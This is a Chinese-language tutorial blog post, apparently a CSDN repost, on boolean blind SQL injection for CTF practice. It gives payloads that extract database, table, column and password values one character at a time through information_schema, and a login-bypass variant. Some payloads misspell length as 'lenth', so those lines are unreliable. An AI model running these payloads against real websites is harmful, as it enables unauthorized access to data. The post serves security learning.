SQL注入——盲注

盲注的原理

前言

盲注是sql注入的一种,主要用于没有显示位的注入,页面像一个机器人一样不报错代表yes,没有任何显示代表no,我们可以根据yes和no来判断数据库的名字,表名,列明以及字段。

首先第一步还是判断闭合符

我们输入 1' 后发现页面为空
在这里插入图片描述
我们在1'后面加上--+,发现页面恢复正常
在这里插入图片描述

猜库名

我们知道了闭合符号后,即可进行一些sql语句的注入猜得库名。
先通过 1' and (lenth(database())>1)--+ 可以修改后面1的值来判断库名的长度。
在这里插入图片描述
经过一番尝试得出长度为8
通过ascii码猜解库名:

1' and (ascii(substr(database(),{
    
    1},1))>{
    
    97})--+(中括号不带入代码)

通过改变第一个中括号中的1的值来按顺序判断库名的英文字母
通过改变后面中括号中97的值并用二分法来判断该位置下字母的ASCII码的值,从而得到该位置的英文字母,最后得出数据库的名字。

猜数据表名

1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {
    
    0},1),{
    
    1},1)))>{
    
    101} --+(中括号不带入代码)

方法与猜库名基本一致,通过修改中括号中的内容进行判断。
值得注意的是有许多数据表通过修改limit中括号里的0来判断其他表名,从而找到我们需要查找的表名。

猜列名

1' and (ascii(substr((select column_name from information_schema.columns where table_name='{
    
    users}' limit {
    
    0},1),{
    
    1},1)))>{
    
    100} --+(中括号不带入代码)

代码中的中括号又多了一个变量,那就是表名,users可以改变成我们想要查询的数据库,其他中括号里的变量用法和上面一致。

爆字段

1' and (ascii(substr(( select {password} from {users} limit {
    
    0},1),{
    
    1},1)))>{
    
    1}--+ 

可能有新的朋友早就发现了,手注的话真的是一年一道题,也看不到这里了吧,我不是坑各位,而是我真的被各种工具坑,等我学会了各种工具的详细用法再来写吧,况且其他大佬的博客都有用法,我个菜鸡还是先慢慢摸索工具吧,还有就是脚本,等我会写了以后多给大家一些脚本福利,本文只是盲注最简单的基础,遇到大部分题要记得随机应变,先找到网页回答你的yes或no的方法,再进行语句的注入,
比如给一个登录框你通过万能密码进入后提示flag再数据库中,这很正常,我们就可以吧是否登录成功作为yes或no来进行sal盲注
1" or (lenth(database())>1)--+or后面直接跟盲注语句就好了,切记随机应变。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_46148324/article/details/104739749